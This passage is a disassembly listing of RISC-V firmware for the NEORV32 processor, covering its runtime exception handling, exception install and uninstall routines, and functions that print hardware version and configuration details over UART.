2b8c: 00f77463 bgeu a4,a5,2b94 <__neorv32_rte_debug_exc_handler+0x3c>
2b90: 05778493 addi s1,a5,87
2b94: 00b00793 li a5,11
2b98: 0087ee63 bltu a5,s0,2bb4 <__neorv32_rte_debug_exc_handler+0x5c>
2b9c: 00004737 lui a4,0x4
2ba0: 00241793 slli a5,s0,0x2
2ba4: 64070713 addi a4,a4,1600 # 4640 <symbols.0+0x3fc>
2ba8: 00e787b3 add a5,a5,a4
2bac: 0007a783 lw a5,0(a5)
2bb0: 00078067 jr a5
2bb4: 800007b7 lui a5,0x80000
2bb8: 00b78713 addi a4,a5,11 # 8000000b <__ctr0_io_space_begin+0x8000020b>
2bbc: 14e40e63 beq s0,a4,2d18 <__neorv32_rte_debug_exc_handler+0x1c0>
2bc0: 02876a63 bltu a4,s0,2bf4 <__neorv32_rte_debug_exc_handler+0x9c>
2bc4: 00378713 addi a4,a5,3
2bc8: 12e40c63 beq s0,a4,2d00 <__neorv32_rte_debug_exc_handler+0x1a8>
2bcc: 00778793 addi a5,a5,7
2bd0: 12f40e63 beq s0,a5,2d0c <__neorv32_rte_debug_exc_handler+0x1b4>
2bd4: 00004537 lui a0,0x4
2bd8: 5e050513 addi a0,a0,1504 # 45e0 <symbols.0+0x39c>
2bdc: a80ff0ef jal ra,1e5c <neorv32_uart0_print>
2be0: 00040513 mv a0,s0
2be4: ec9ff0ef jal ra,2aac <__neorv32_rte_print_hex_word>
2be8: 00100793 li a5,1
2bec: 08f40c63 beq s0,a5,2c84 <__neorv32_rte_debug_exc_handler+0x12c>
2bf0: 0280006f j 2c18 <__neorv32_rte_debug_exc_handler+0xc0>
2bf4: ff07c793 xori a5,a5,-16
2bf8: 00f407b3 add a5,s0,a5
2bfc: 00f00713 li a4,15
2c00: fcf76ae3 bltu a4,a5,2bd4 <__neorv32_rte_debug_exc_handler+0x7c>
2c04: 00004537 lui a0,0x4
2c08: 5d050513 addi a0,a0,1488 # 45d0 <symbols.0+0x38c>
2c0c: a50ff0ef jal ra,1e5c <neorv32_uart0_print>
2c10: 00048513 mv a0,s1
2c14: a14ff0ef jal ra,1e28 <neorv32_uart0_putc>
2c18: ffd47413 andi s0,s0,-3
2c1c: 00500793 li a5,5
2c20: 06f40263 beq s0,a5,2c84 <__neorv32_rte_debug_exc_handler+0x12c>
2c24: 00004537 lui a0,0x4
2c28: 62450513 addi a0,a0,1572 # 4624 <symbols.0+0x3e0>
2c2c: a30ff0ef jal ra,1e5c <neorv32_uart0_print>
2c30: 34002573 csrr a0,mscratch
2c34: e79ff0ef jal ra,2aac <__neorv32_rte_print_hex_word>
2c38: 00004537 lui a0,0x4
2c3c: 62c50513 addi a0,a0,1580 # 462c <symbols.0+0x3e8>
2c40: a1cff0ef jal ra,1e5c <neorv32_uart0_print>
2c44: 34302573 csrr a0,mtval
2c48: e65ff0ef jal ra,2aac <__neorv32_rte_print_hex_word>
2c4c: 00812403 lw s0,8(sp)
2c50: 00c12083 lw ra,12(sp)
2c54: 00412483 lw s1,4(sp)
2c58: 00004537 lui a0,0x4
2c5c: 63850513 addi a0,a0,1592 # 4638 <symbols.0+0x3f4>
2c60: 01010113 addi sp,sp,16
2c64: 9f8ff06f j 1e5c <neorv32_uart0_print>
2c68: 00004537 lui a0,0x4
2c6c: 48850513 addi a0,a0,1160 # 4488 <symbols.0+0x244>
2c70: 9ecff0ef jal ra,1e5c <neorv32_uart0_print>
2c74: fb1ff06f j 2c24 <__neorv32_rte_debug_exc_handler+0xcc>
2c78: 00004537 lui a0,0x4
2c7c: 4a850513 addi a0,a0,1192 # 44a8 <symbols.0+0x264>
2c80: 9dcff0ef jal ra,1e5c <neorv32_uart0_print>
2c84: f7c02783 lw a5,-132(zero) # ffffff7c <__ctr0_io_space_begin+0x17c>
2c88: 0a07d463 bgez a5,2d30 <__neorv32_rte_debug_exc_handler+0x1d8>
2c8c: 0017f793 andi a5,a5,1
2c90: 08078a63 beqz a5,2d24 <__neorv32_rte_debug_exc_handler+0x1cc>
2c94: 00004537 lui a0,0x4
2c98: 5f850513 addi a0,a0,1528 # 45f8 <symbols.0+0x3b4>
2c9c: fd5ff06f j 2c70 <__neorv32_rte_debug_exc_handler+0x118>
2ca0: 00004537 lui a0,0x4
2ca4: 4c450513 addi a0,a0,1220 # 44c4 <symbols.0+0x280>
2ca8: fc9ff06f j 2c70 <__neorv32_rte_debug_exc_handler+0x118>
2cac: 00004537 lui a0,0x4
2cb0: 4d850513 addi a0,a0,1240 # 44d8 <symbols.0+0x294>
2cb4: fbdff06f j 2c70 <__neorv32_rte_debug_exc_handler+0x118>
2cb8: 00004537 lui a0,0x4
2cbc: 4e450513 addi a0,a0,1252 # 44e4 <symbols.0+0x2a0>
2cc0: fb1ff06f j 2c70 <__neorv32_rte_debug_exc_handler+0x118>
2cc4: 00004537 lui a0,0x4
2cc8: 4fc50513 addi a0,a0,1276 # 44fc <symbols.0+0x2b8>
2ccc: fb5ff06f j 2c80 <__neorv32_rte_debug_exc_handler+0x128>
2cd0: 00004537 lui a0,0x4
2cd4: 51050513 addi a0,a0,1296 # 4510 <symbols.0+0x2cc>
2cd8: f99ff06f j 2c70 <__neorv32_rte_debug_exc_handler+0x118>
2cdc: 00004537 lui a0,0x4
2ce0: 52c50513 addi a0,a0,1324 # 452c <symbols.0+0x2e8>
2ce4: f9dff06f j 2c80 <__neorv32_rte_debug_exc_handler+0x128>
2ce8: 00004537 lui a0,0x4
2cec: 54050513 addi a0,a0,1344 # 4540 <symbols.0+0x2fc>
2cf0: f81ff06f j 2c70 <__neorv32_rte_debug_exc_handler+0x118>
2cf4: 00004537 lui a0,0x4
2cf8: 56050513 addi a0,a0,1376 # 4560 <symbols.0+0x31c>
2cfc: f75ff06f j 2c70 <__neorv32_rte_debug_exc_handler+0x118>
2d00: 00004537 lui a0,0x4
2d04: 58050513 addi a0,a0,1408 # 4580 <symbols.0+0x33c>
2d08: f69ff06f j 2c70 <__neorv32_rte_debug_exc_handler+0x118>
2d0c: 00004537 lui a0,0x4
2d10: 59c50513 addi a0,a0,1436 # 459c <symbols.0+0x358>
2d14: f5dff06f j 2c70 <__neorv32_rte_debug_exc_handler+0x118>
2d18: 00004537 lui a0,0x4
2d1c: 5b450513 addi a0,a0,1460 # 45b4 <symbols.0+0x370>
2d20: f51ff06f j 2c70 <__neorv32_rte_debug_exc_handler+0x118>
2d24: 00004537 lui a0,0x4
2d28: 60850513 addi a0,a0,1544 # 4608 <symbols.0+0x3c4>
2d2c: f45ff06f j 2c70 <__neorv32_rte_debug_exc_handler+0x118>
2d30: 00004537 lui a0,0x4
2d34: 61850513 addi a0,a0,1560 # 4618 <symbols.0+0x3d4>
2d38: f39ff06f j 2c70 <__neorv32_rte_debug_exc_handler+0x118>
2d3c: 00c12083 lw ra,12(sp)
2d40: 00812403 lw s0,8(sp)
2d44: 00412483 lw s1,4(sp)
2d48: 01010113 addi sp,sp,16
2d4c: 00008067 ret
00002d50 <neorv32_rte_exception_install>:
2d50: 01f00793 li a5,31
2d54: 00a7ee63 bltu a5,a0,2d70 <neorv32_rte_exception_install+0x20>
2d58: 89c18793 addi a5,gp,-1892 # 8000009c <__neorv32_rte_vector_lut>
2d5c: 00251513 slli a0,a0,0x2
2d60: 00a78533 add a0,a5,a0
2d64: 00b52023 sw a1,0(a0)
2d68: 00000513 li a0,0
2d6c: 00008067 ret
2d70: 00100513 li a0,1
2d74: 00008067 ret
00002d78 <neorv32_rte_exception_uninstall>:
2d78: 01f00793 li a5,31
2d7c: 02a7e263 bltu a5,a0,2da0 <neorv32_rte_exception_uninstall+0x28>
2d80: 89c18793 addi a5,gp,-1892 # 8000009c <__neorv32_rte_vector_lut>
2d84: 00251513 slli a0,a0,0x2
2d88: 00a78533 add a0,a5,a0
2d8c: 000037b7 lui a5,0x3
2d90: b5878793 addi a5,a5,-1192 # 2b58 <__neorv32_rte_debug_exc_handler>
2d94: 00f52023 sw a5,0(a0)
2d98: 00000513 li a0,0
2d9c: 00008067 ret
2da0: 00100513 li a0,1
2da4: 00008067 ret
00002da8 <neorv32_rte_setup>:
2da8: ff010113 addi sp,sp,-16
2dac: 000037b7 lui a5,0x3
2db0: 00112623 sw ra,12(sp)
2db4: 00812423 sw s0,8(sp)
2db8: 00912223 sw s1,4(sp)
2dbc: 89078793 addi a5,a5,-1904 # 2890 <__neorv32_rte_core>
2dc0: 30579073 csrw mtvec,a5
2dc4: 00000413 li s0,0
2dc8: 01d00493 li s1,29
2dcc: 00040513 mv a0,s0
2dd0: 00140413 addi s0,s0,1
2dd4: 0ff47413 andi s0,s0,255
2dd8: fa1ff0ef jal ra,2d78 <neorv32_rte_exception_uninstall>
2ddc: fe9418e3 bne s0,s1,2dcc <neorv32_rte_setup+0x24>
2de0: 00c12083 lw ra,12(sp)
2de4: 00812403 lw s0,8(sp)
2de8: 00412483 lw s1,4(sp)
2dec: 01010113 addi sp,sp,16
2df0: 00008067 ret
00002df4 <neorv32_rte_print_hw_version>:
2df4: fe010113 addi sp,sp,-32
2df8: 00112e23 sw ra,28(sp)
2dfc: 00812c23 sw s0,24(sp)
2e00: 00912a23 sw s1,20(sp)
2e04: 01212823 sw s2,16(sp)
2e08: 01312623 sw s3,12(sp)
2e0c: 01412423 sw s4,8(sp)
2e10: f5dfe0ef jal ra,1d6c <neorv32_uart0_available>
2e14: 06050663 beqz a0,2e80 <neorv32_rte_print_hw_version+0x8c>
2e18: 00000493 li s1,0
2e1c: 00300a13 li s4,3
2e20: 00400993 li s3,4
2e24: f13027f3 csrr a5,mimpid
2e28: 40900733 neg a4,s1
2e2c: 00371713 slli a4,a4,0x3
2e30: 01870713 addi a4,a4,24
2e34: 00e7d7b3 srl a5,a5,a4
2e38: 0ff7f793 andi a5,a5,255
2e3c: 0047d513 srli a0,a5,0x4
2e40: 40a00933 neg s2,a0
2e44: 00491913 slli s2,s2,0x4
2e48: 03078793 addi a5,a5,48
2e4c: 0ff97913 andi s2,s2,255
2e50: 0ff7f413 andi s0,a5,255
2e54: 00050663 beqz a0,2e60 <neorv32_rte_print_hw_version+0x6c>
2e58: 03050513 addi a0,a0,48
2e5c: fcdfe0ef jal ra,1e28 <neorv32_uart0_putc>
2e60: 01240533 add a0,s0,s2
2e64: 0ff57513 andi a0,a0,255
2e68: fc1fe0ef jal ra,1e28 <neorv32_uart0_putc>
2e6c: 01448663 beq s1,s4,2e78 <neorv32_rte_print_hw_version+0x84>
2e70: 02e00513 li a0,46
2e74: fb5fe0ef jal ra,1e28 <neorv32_uart0_putc>
2e78: 00148493 addi s1,s1,1
2e7c: fb3494e3 bne s1,s3,2e24 <neorv32_rte_print_hw_version+0x30>
2e80: 01c12083 lw ra,28(sp)
2e84: 01812403 lw s0,24(sp)
2e88: 01412483 lw s1,20(sp)
2e8c: 01012903 lw s2,16(sp)
2e90: 00c12983 lw s3,12(sp)
2e94: 00812a03 lw s4,8(sp)
2e98: 02010113 addi sp,sp,32
2e9c: 00008067 ret
00002ea0 <neorv32_rte_print_hw_config>:
2ea0: fd010113 addi sp,sp,-48
2ea4: 02112623 sw ra,44(sp)
2ea8: 02812423 sw s0,40(sp)
2eac: 02912223 sw s1,36(sp)
2eb0: 03212023 sw s2,32(sp)
2eb4: 01312e23 sw s3,28(sp)
2eb8: eb5fe0ef jal ra,1d6c <neorv32_uart0_available>
2ebc: 5a050863 beqz a0,346c <neorv32_rte_print_hw_config+0x5cc>
2ec0: 00004537 lui a0,0x4
2ec4: 67050513 addi a0,a0,1648 # 4670 <symbols.0+0x42c>
2ec8: fedfe0ef jal ra,1eb4 <neorv32_uart0_printf>
2ecc: 00004537 lui a0,0x4
2ed0: 69c50513 addi a0,a0,1692 # 469c <symbols.0+0x458>
2ed4: fe1fe0ef jal ra,1eb4 <neorv32_uart0_printf>
2ed8: fe002583 lw a1,-32(zero) # ffffffe0 <__ctr0_io_space_begin+0x1e0>
2edc: 00004537 lui a0,0x4
2ee0: 6b050513 addi a0,a0,1712 # 46b0 <symbols.0+0x46c>
2ee4: fd1fe0ef jal ra,1eb4 <neorv32_uart0_printf>
2ee8: 00004537 lui a0,0x4
2eec: 6cc50513 addi a0,a0,1740 # 46cc <symbols.0+0x488>
2ef0: fc5fe0ef jal ra,1eb4 <neorv32_uart0_printf>
2ef4: fe802503 lw a0,-24(zero) # ffffffe8 <__ctr0_io_space_begin+0x1e8>
2ef8: 000087b7 lui a5,0x8
2efc: 00f57533 and a0,a0,a5
2f00: b91ff0ef jal ra,2a90 <__neorv32_rte_print_true_false>
2f04: 00004537 lui a0,0x4
2f08: 6e050513 addi a0,a0,1760 # 46e0 <symbols.0+0x49c>
2f0c: fa9fe0ef jal ra,1eb4 <neorv32_uart0_printf>
2f10: fe802503 lw a0,-24(zero) # ffffffe8 <__ctr0_io_space_begin+0x1e8>
2f14: 000047b7 lui a5,0x4
2f18: 00f57533 and a0,a0,a5
2f1c: b75ff0ef jal ra,2a90 <__neorv32_rte_print_true_false>
2f20: f14025f3 csrr a1,mhartid
2f24: f1102673 csrr a2,mvendorid
2f28: 00004537 lui a0,0x4
2f2c: 6f450513 addi a0,a0,1780 # 46f4 <symbols.0+0x4b0>
2f30: f85fe0ef jal ra,1eb4 <neorv32_uart0_printf>
2f34: f1202473 csrr s0,marchid
2f38: 00004537 lui a0,0x4
2f3c: 00040593 mv a1,s0
2f40: 72850513 addi a0,a0,1832 # 4728 <symbols.0+0x4e4>
2f44: f71fe0ef jal ra,1eb4 <neorv32_uart0_printf>
2f48: 01300793 li a5,19
2f4c: 00f41863 bne s0,a5,2f5c <neorv32_rte_print_hw_config+0xbc>
2f50: 00004537 lui a0,0x4
2f54: 74050513 addi a0,a0,1856 # 4740 <symbols.0+0x4fc>
2f58: f5dfe0ef jal ra,1eb4 <neorv32_uart0_printf>
2f5c: f13025f3 csrr a1,mimpid
2f60: 00004537 lui a0,0x4
2f64: 74c50513 addi a0,a0,1868 # 474c <symbols.0+0x508>
2f68: f4dfe0ef jal ra,1eb4 <neorv32_uart0_printf>
2f6c: e89ff0ef jal ra,2df4 <neorv32_rte_print_hw_version>
2f70: 02900513 li a0,41
2f74: eb5fe0ef jal ra,1e28 <neorv32_uart0_putc>
2f78: 00004537 lui a0,0x4
2f7c: 76850513 addi a0,a0,1896 # 4768 <symbols.0+0x524>
2f80: f35fe0ef jal ra,1eb4 <neorv32_uart0_printf>
2f84: 301027f3 csrr a5,misa
2f88: 00100713 li a4,1
2f8c: 01e7d793 srli a5,a5,0x1e
2f90: 44e79663 bne a5,a4,33dc <neorv32_rte_print_hw_config+0x53c>
2f94: 00004537 lui a0,0x4
2f98: 78050513 addi a0,a0,1920 # 4780 <symbols.0+0x53c>
2f9c: f19fe0ef jal ra,1eb4 <neorv32_uart0_printf>
2fa0: 00004537 lui a0,0x4
2fa4: 79450513 addi a0,a0,1940 # 4794 <symbols.0+0x550>
2fa8: f0dfe0ef jal ra,1eb4 <neorv32_uart0_printf>
2fac: 30102973 csrr s2,misa
2fb0: 00000413 li s0,0
2fb4: 00100993 li s3,1
2fb8: 01a00493 li s1,26
2fbc: 008997b3 sll a5,s3,s0
2fc0: 0127f7b3 and a5,a5,s2
2fc4: 00078c63 beqz a5,2fdc <neorv32_rte_print_hw_config+0x13c>
2fc8: 04140513 addi a0,s0,65
2fcc: 0ff57513 andi a0,a0,255
2fd0: e59fe0ef jal ra,1e28 <neorv32_uart0_putc>
2fd4: 02000513 li a0,32
2fd8: e51fe0ef jal ra,1e28 <neorv32_uart0_putc>
2fdc: 00140413 addi s0,s0,1
2fe0: fc941ee3 bne s0,s1,2fbc <neorv32_rte_print_hw_config+0x11c>
2fe4: fe402403 lw s0,-28(zero) # ffffffe4 <__ctr0_io_space_begin+0x1e4>
2fe8: 00147793 andi a5,s0,1
2fec: 00078863 beqz a5,2ffc <neorv32_rte_print_hw_config+0x15c>
2ff0: 00004537 lui a0,0x4
2ff4: 7ac50513 addi a0,a0,1964 # 47ac <symbols.0+0x568>
2ff8: ebdfe0ef jal ra,1eb4 <neorv32_uart0_printf>
2ffc: 08047793 andi a5,s0,128
3000: 00078863 beqz a5,3010 <neorv32_rte_print_hw_config+0x170>
3004: 00004537 lui a0,0x4
3008: 7b450513 addi a0,a0,1972 # 47b4 <symbols.0+0x570>
300c: ea9fe0ef jal ra,1eb4 <neorv32_uart0_printf>
3010: 20047793 andi a5,s0,512
3014: 00078863 beqz a5,3024 <neorv32_rte_print_hw_config+0x184>
3018: 00004537 lui a0,0x4
301c: 7bc50513 addi a0,a0,1980 # 47bc <symbols.0+0x578>
3020: e95fe0ef jal ra,1eb4 <neorv32_uart0_printf>
3024: 00247793 andi a5,s0,2
3028: 00078863 beqz a5,3038 <neorv32_rte_print_hw_config+0x198>
302c: 00004537 lui a0,0x4
3030: 7c450513 addi a0,a0,1988 # 47c4 <symbols.0+0x580>
3034: e81fe0ef jal ra,1eb4 <neorv32_uart0_printf>
3038: 00447793 andi a5,s0,4
303c: 00078863 beqz a5,304c <neorv32_rte_print_hw_config+0x1ac>
3040: 00004537 lui a0,0x4
3044: 7d050513 addi a0,a0,2000 # 47d0 <symbols.0+0x58c>
3048: e6dfe0ef jal ra,1eb4 <neorv32_uart0_printf>
304c: 02047793 andi a5,s0,32
3050: 00078863 beqz a5,3060 <neorv32_rte_print_hw_config+0x1c0>
3054: 00004537 lui a0,0x4
3058: 7d850513 addi a0,a0,2008 # 47d8 <symbols.0+0x594>
305c: e59fe0ef jal ra,1eb4 <neorv32_uart0_printf>
3060: 04047793 andi a5,s0,64
3064: 00078863 beqz a5,3074 <neorv32_rte_print_hw_config+0x1d4>
3068: 00004537 lui a0,0x4
306c: 7e050513 addi a0,a0,2016 # 47e0 <symbols.0+0x59c>
3070: e45fe0ef jal ra,1eb4 <neorv32_uart0_printf>
3074: 40047793 andi a5,s0,1024
3078: 00078863 beqz a5,3088 <neorv32_rte_print_hw_config+0x1e8>
307c: 00004537 lui a0,0x4
3080: 7ec50513 addi a0,a0,2028 # 47ec <symbols.0+0x5a8>
3084: e31fe0ef jal ra,1eb4 <neorv32_uart0_printf>
3088: 400007b7 lui a5,0x40000
308c: 00f477b3 and a5,s0,a5
3090: 00078863 beqz a5,30a0 <neorv32_rte_print_hw_config+0x200>
3094: 00004537 lui a0,0x4
3098: 7f450513 addi a0,a0,2036 # 47f4 <symbols.0+0x5b0>
309c: e19fe0ef jal ra,1eb4 <neorv32_uart0_printf>
30a0: 00045863 bgez s0,30b0 <neorv32_rte_print_hw_config+0x210>
30a4: 00005537 lui a0,0x5
30a8: 80050513 addi a0,a0,-2048 # 4800 <symbols.0+0x5bc>
30ac: e09fe0ef jal ra,1eb4 <neorv32_uart0_printf>
30b0: 00005537 lui a0,0x5
30b4: 80c50513 addi a0,a0,-2036 # 480c <symbols.0+0x5c8>
30b8: dfdfe0ef jal ra,1eb4 <neorv32_uart0_printf>
30bc: 9d8ff0ef jal ra,2294 <neorv32_cpu_pmp_get_num_regions>
30c0: 00a12223 sw a0,4(sp)
30c4: 32050263 beqz a0,33e8 <neorv32_rte_print_hw_config+0x548>
30c8: a84ff0ef jal ra,234c <neorv32_cpu_pmp_get_granularity>
30cc: 00412583 lw a1,4(sp)
30d0: 00050613 mv a2,a0
30d4: 00005537 lui a0,0x5
30d8: 82450513 addi a0,a0,-2012 # 4824 <symbols.0+0x5e0>
30dc: dd9fe0ef jal ra,1eb4 <neorv32_uart0_printf>
30e0: 00005537 lui a0,0x5
30e4: 86450513 addi a0,a0,-1948 # 4864 <symbols.0+0x620>
30e8: dcdfe0ef jal ra,1eb4 <neorv32_uart0_printf>
30ec: 00005537 lui a0,0x5
30f0: 88450513 addi a0,a0,-1916 # 4884 <symbols.0+0x640>
30f4: dc1fe0ef jal ra,1eb4 <neorv32_uart0_printf>
30f8: fe802783 lw a5,-24(zero) # ffffffe8 <__ctr0_io_space_begin+0x1e8>
30fc: 0017f793 andi a5,a5,1
3100: 2e078c63 beqz a5,33f8 <neorv32_rte_print_hw_config+0x558>
3104: 00005537 lui a0,0x5
3108: 8a050513 addi a0,a0,-1888 # 48a0 <symbols.0+0x65c>
310c: da9fe0ef jal ra,1eb4 <neorv32_uart0_printf>
3110: ff002583 lw a1,-16(zero) # fffffff0 <__ctr0_io_space_begin+0x1f0>
3114: 00005537 lui a0,0x5
3118: 8c850513 addi a0,a0,-1848 # 48c8 <symbols.0+0x684>
311c: d99fe0ef jal ra,1eb4 <neorv32_uart0_printf>
3120: 00005537 lui a0,0x5
3124: 8e450513 addi a0,a0,-1820 # 48e4 <symbols.0+0x6a0>
3128: d8dfe0ef jal ra,1eb4 <neorv32_uart0_printf>
312c: fe802783 lw a5,-24(zero) # ffffffe8 <__ctr0_io_space_begin+0x1e8>
3130: 0047f793 andi a5,a5,4
3134: 2c078c63 beqz a5,340c <neorv32_rte_print_hw_config+0x56c>
3138: ff802583 lw a1,-8(zero) # fffffff8 <__ctr0_io_space_begin+0x1f8>
313c: 00005537 lui a0,0x5
3140: 8fc50513 addi a0,a0,-1796 # 48fc <symbols.0+0x6b8>
3144: d71fe0ef jal ra,1eb4 <neorv32_uart0_printf>
3148: ff402583 lw a1,-12(zero) # fffffff4 <__ctr0_io_space_begin+0x1f4>
314c: 00005537 lui a0,0x5
3150: 90c50513 addi a0,a0,-1780 # 490c <symbols.0+0x6c8>
3154: d61fe0ef jal ra,1eb4 <neorv32_uart0_printf>
3158: 00005537 lui a0,0x5
315c: 92850513 addi a0,a0,-1752 # 4928 <symbols.0+0x6e4>
3160: d55fe0ef jal ra,1eb4 <neorv32_uart0_printf>
3164: fe802783 lw a5,-24(zero) # ffffffe8 <__ctr0_io_space_begin+0x1e8>
3168: 0087f793 andi a5,a5,8
316c: 2a078863 beqz a5,341c <neorv32_rte_print_hw_config+0x57c>
3170: ffc02583 lw a1,-4(zero) # fffffffc <__ctr0_io_space_begin+0x1fc>
3174: 00005537 lui a0,0x5
3178: 8fc50513 addi a0,a0,-1796 # 48fc <symbols.0+0x6b8>
317c: d39fe0ef jal ra,1eb4 <neorv32_uart0_printf>
3180: 00005537 lui a0,0x5
3184: 94050513 addi a0,a0,-1728 # 4940 <symbols.0+0x6fc>
3188: d2dfe0ef jal ra,1eb4 <neorv32_uart0_printf>
318c: fe802783 lw a5,-24(zero) # ffffffe8 <__ctr0_io_space_begin+0x1e8>
3190: 0207f793 andi a5,a5,32
3194: 2c078063 beqz a5,3454 <neorv32_rte_print_hw_config+0x5b4>
3198: 00005537 lui a0,0x5
319c: 95850513 addi a0,a0,-1704 # 4958 <symbols.0+0x714>
31a0: d15fe0ef jal ra,1eb4 <neorv32_uart0_printf>
31a4: fec02703 lw a4,-20(zero) # ffffffec <__ctr0_io_space_begin+0x1ec>
31a8: 00f77713 andi a4,a4,15
31ac: 00070663 beqz a4,31b8 <neorv32_rte_print_hw_config+0x318>
31b0: 00100793 li a5,1
31b4: 00e79733 sll a4,a5,a4
31b8: fec02683 lw a3,-20(zero) # ffffffec <__ctr0_io_space_begin+0x1ec>
31bc: 0046d693 srli a3,a3,0x4
31c0: 00f6f693 andi a3,a3,15
31c4: 00068663 beqz a3,31d0 <neorv32_rte_print_hw_config+0x330>
31c8: 00100793 li a5,1
31cc: 00d796b3 sll a3,a5,a3
31d0: fec02403 lw s0,-20(zero) # ffffffec <__ctr0_io_space_begin+0x1ec>
31d4: 00100493 li s1,1
31d8: 00070593 mv a1,a4
31dc: 00845413 srli s0,s0,0x8
31e0: 00f47413 andi s0,s0,15
31e4: 00849633 sll a2,s1,s0
31e8: 00869533 sll a0,a3,s0
31ec: 00c12623 sw a2,12(sp)
31f0: 00e12423 sw a4,8(sp)
31f4: 00d12223 sw a3,4(sp)
31f8: 4b0000ef jal ra,36a8 <__mulsi3>
31fc: 00812703 lw a4,8(sp)
3200: 00412683 lw a3,4(sp)
3204: 00c12603 lw a2,12(sp)
3208: 00050593 mv a1,a0
320c: 00005537 lui a0,0x5
3210: 96050513 addi a0,a0,-1696 # 4960 <symbols.0+0x71c>
3214: ca1fe0ef jal ra,1eb4 <neorv32_uart0_printf>
3218: 20041a63 bnez s0,342c <neorv32_rte_print_hw_config+0x58c>
321c: 00005537 lui a0,0x5
3220: 9a050513 addi a0,a0,-1632 # 49a0 <symbols.0+0x75c>
3224: c91fe0ef jal ra,1eb4 <neorv32_uart0_printf>
3228: 00005537 lui a0,0x5
322c: 9d050513 addi a0,a0,-1584 # 49d0 <symbols.0+0x78c>
3230: c85fe0ef jal ra,1eb4 <neorv32_uart0_printf>
3234: fe802503 lw a0,-24(zero) # ffffffe8 <__ctr0_io_space_begin+0x1e8>
3238: 00257513 andi a0,a0,2
323c: 855ff0ef jal ra,2a90 <__neorv32_rte_print_true_false>
3240: 00005537 lui a0,0x5
3244: 9e850513 addi a0,a0,-1560 # 49e8 <symbols.0+0x7a4>
3248: c6dfe0ef jal ra,1eb4 <neorv32_uart0_printf>
324c: fe802783 lw a5,-24(zero) # ffffffe8 <__ctr0_io_space_begin+0x1e8>
3250: 0107f793 andi a5,a5,16
3254: 20078663 beqz a5,3460 <neorv32_rte_print_hw_config+0x5c0>
3258: 00005537 lui a0,0x5
325c: a0050513 addi a0,a0,-1536 # 4a00 <symbols.0+0x7bc>
3260: c55fe0ef jal ra,1eb4 <neorv32_uart0_printf>
3264: 00005537 lui a0,0x5
3268: a1050513 addi a0,a0,-1520 # 4a10 <symbols.0+0x7cc>
326c: c49fe0ef jal ra,1eb4 <neorv32_uart0_printf>
3270: fe802403 lw s0,-24(zero) # ffffffe8 <__ctr0_io_space_begin+0x1e8>
3274: 00010537 lui a0,0x10
3278: 00a47533 and a0,s0,a0
327c: 8a1ff0ef jal ra,2b1c <__neorv32_rte_print_checkbox>
3280: 00005537 lui a0,0x5
3284: a2c50513 addi a0,a0,-1492 # 4a2c <symbols.0+0x7e8>
3288: c2dfe0ef jal ra,1eb4 <neorv32_uart0_printf>
328c: 00020537 lui a0,0x20
3290: 00a47533 and a0,s0,a0
3294: 889ff0ef jal ra,2b1c <__neorv32_rte_print_checkbox>
3298: 00005537 lui a0,0x5
329c: a3450513 addi a0,a0,-1484 # 4a34 <symbols.0+0x7f0>
32a0: c15fe0ef jal ra,1eb4 <neorv32_uart0_printf>
32a4: 00040537 lui a0,0x40
32a8: 00a47533 and a0,s0,a0
32ac: 871ff0ef jal ra,2b1c <__neorv32_rte_print_checkbox>
32b0: 00005537 lui a0,0x5
32b4: a3c50513 addi a0,a0,-1476 # 4a3c <symbols.0+0x7f8>
32b8: bfdfe0ef jal ra,1eb4 <neorv32_uart0_printf>
32bc: 04000537 lui a0,0x4000
32c0: 00a47533 and a0,s0,a0
32c4: 859ff0ef jal ra,2b1c <__neorv32_rte_print_checkbox>
32c8: 00005537 lui a0,0x5
32cc: a4450513 addi a0,a0,-1468 # 4a44 <symbols.0+0x800>
32d0: be5fe0ef jal ra,1eb4 <neorv32_uart0_printf>
32d4: 00080537 lui a0,0x80
32d8: 00a47533 and a0,s0,a0
32dc: 841ff0ef jal ra,2b1c <__neorv32_rte_print_checkbox>
32e0: 00005537 lui a0,0x5
32e4: a4c50513 addi a0,a0,-1460 # 4a4c <symbols.0+0x808>
32e8: bcdfe0ef jal ra,1eb4 <neorv32_uart0_printf>
32ec: 00100537 lui a0,0x100
32f0: 00a47533 and a0,s0,a0
32f4: 829ff0ef jal ra,2b1c <__neorv32_rte_print_checkbox>
32f8: 00005537 lui a0,0x5
32fc: a5450513 addi a0,a0,-1452 # 4a54 <symbols.0+0x810>
3300: bb5fe0ef jal ra,1eb4 <neorv32_uart0_printf>
3304: 00200537 lui a0,0x200
3308: 00a47533 and a0,s0,a0
330c: 811ff0ef jal ra,2b1c <__neorv32_rte_print_checkbox>
3310: 00005537 lui a0,0x5
3314: a5c50513 addi a0,a0,-1444 # 4a5c <symbols.0+0x818>
3318: b9dfe0ef jal ra,1eb4 <neorv32_uart0_printf>
331c: 00400537 lui a0,0x400
3320: 00a47533 and a0,s0,a0
3324: ff8ff0ef jal ra,2b1c <__neorv32_rte_print_checkbox>
3328: 00005537 lui a0,0x5
332c: a6450513 addi a0,a0,-1436 # 4a64 <symbols.0+0x820>
3330: b85fe0ef jal ra,1eb4 <neorv32_uart0_printf>
3334: 01000537 lui a0,0x1000
3338: 00a47533 and a0,s0,a0
333c: fe0ff0ef jal ra,2b1c <__neorv32_rte_print_checkbox>
3340: 00005537 lui a0,0x5
3344: a6c50513 addi a0,a0,-1428 # 4a6c <symbols.0+0x828>
3348: b6dfe0ef jal ra,1eb4 <neorv32_uart0_printf>
334c: 00800537 lui a0,0x800
3350: 00a47533 and a0,s0,a0
3354: fc8ff0ef jal ra,2b1c <__neorv32_rte_print_checkbox>
3358: 00005537 lui a0,0x5
335c: a7450513 addi a0,a0,-1420 # 4a74 <symbols.0+0x830>
3360: b55fe0ef jal ra,1eb4 <neorv32_uart0_printf>
3364: 02000537 lui a0,0x2000
3368: 00a47533 and a0,s0,a0
336c: fb0ff0ef jal ra,2b1c <__neorv32_rte_print_checkbox>
3370: 00005537 lui a0,0x5
3374: a7c50513 addi a0,a0,-1412 # 4a7c <symbols.0+0x838>
3378: b3dfe0ef jal ra,1eb4 <neorv32_uart0_printf>
337c: 08000537 lui a0,0x8000
3380: 00a47533 and a0,s0,a0
3384: f98ff0ef jal ra,2b1c <__neorv32_rte_print_checkbox>
3388: 00005537 lui a0,0x5
338c: a8450513 addi a0,a0,-1404 # 4a84 <symbols.0+0x840>
3390: b25fe0ef jal ra,1eb4 <neorv32_uart0_printf>
3394: 10000537 lui a0,0x10000
3398: 00a47533 and a0,s0,a0
339c: f80ff0ef jal ra,2b1c <__neorv32_rte_print_checkbox>
33a0: 00005537 lui a0,0x5
